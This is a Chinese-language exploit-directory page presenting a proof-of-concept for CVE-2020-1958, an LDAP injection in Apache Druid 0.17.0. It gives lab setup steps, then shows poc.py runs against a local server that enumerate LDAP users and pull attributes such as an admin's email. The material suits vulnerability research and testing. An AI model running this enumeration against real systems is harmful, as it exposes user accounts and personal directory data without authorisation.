Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-1958 — CVE-2020-1958 的概念验证漏洞利用程序,该漏洞是 Apache Druid 0.17.0 中的 LDAP 注入漏洞,可实现用户枚举和 LDAP 属性外泄。 | Kitploit
工具/GitHubGitHub/ggolawski/cve-2020-1958
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试身份验证
GitHubggolawski/cve-2020-1958

CVE-2020-1958

CVE-2020-1958 的概念验证漏洞利用程序,该漏洞是 Apache Druid 0.17.0 中的 LDAP 注入漏洞,可实现用户枚举和 LDAP 属性外泄。

查看仓库
21816年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-1958 PoC

CVE-2020-1958 是 Apache Druid 0.17.0 中的一个高危 LDAP 注入漏洞。攻击者可借此绕过 LDAP 搜索过滤器,并检索 LDAP 服务器上存在的任意用户的任意 LDAP 属性值。

来自 Apache Druid 官方公告:

当启用 LDAP 身份验证时:

  • 持有有效 LDAP 凭据的 Druid API 调用者可以绕过 credentialsValidator.userSearch 过滤器屏障,该屏障用于判断有效 LDAP 用户是否被允许通过 Druid 进行身份验证。如果配置了基于角色的授权检查,他们仍须接受这些检查。
  • Druid API 调用者可以检索 LDAP 服务器上存在的任意用户的任意 LDAP 属性值,只要这些信息对 Druid 服务器可见。此信息泄露并不要求调用者本身是有效的 LDAP 用户。

PoC

poc.py 脚本演示了未授权攻击者如何枚举与 Druid 集成的 LDAP 服务器上的用户,并获取任意用户的任意属性值。

本地 Druid 测试服务器

如果你已经有一个启用了 LDAP 身份验证的 Druid 服务器,请跳过此步骤。

  1. 下载 Druid 0.17.0 并解压

    root@kitploit:~
    $ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
    $ tar -zxf apache-druid-0.17.0-bin.tar.gz
    
  2. 在 conf/druid/single-server/nano-quickstart/_common/common.runtime.properties 中启用并配置 LDAP 身份验证

    • 启用 druid-basic-security 扩展

      找到 druid.extensions.loadList 并添加 druid-basic-security:

      root@kitploit:~
      druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
      
    • 配置 LDAP 身份验证

      在文件末尾添加以下内容:

      root@kitploit:~
      druid.auth.authenticatorChain=["ldap"]
      
      druid.auth.authenticator.ldap.type=basic
      druid.auth.authenticator.ldap.initialAdminPassword=password
      druid.auth.authenticator.ldap.initialInternalClientPassword=password
      druid.auth.authenticator.ldap.credentialsValidator.type=ldap
      druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
      druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
      druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
      druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
      druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
      
      druid.escalator.type=basic
      druid.escalator.internalClientUsername=user1
      druid.escalator.internalClientPassword=user1
      druid.escalator.authorizerName=MyAuthorizer
      
      druid.auth.authorizers=["MyAuthorizer"]
      druid.auth.authorizer.MyAuthorizer.type=basic
      druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
      druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
      druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
      
  3. 运行 OpenLDAP 服务器

    root@kitploit:~
    $ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
    
  4. 将 users.ldif 中的用户导入到 LDAP

    root@kitploit:~
    $ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
    
  5. 运行 Druid 服务器

    root@kitploit:~
    $ bin/start-nano-quickstart
    

枚举用户

asciicast

root@kitploit:~
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4

检索 admin1 用户的 LDAP 属性值

asciicast

root@kitploit:~
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last
下载工具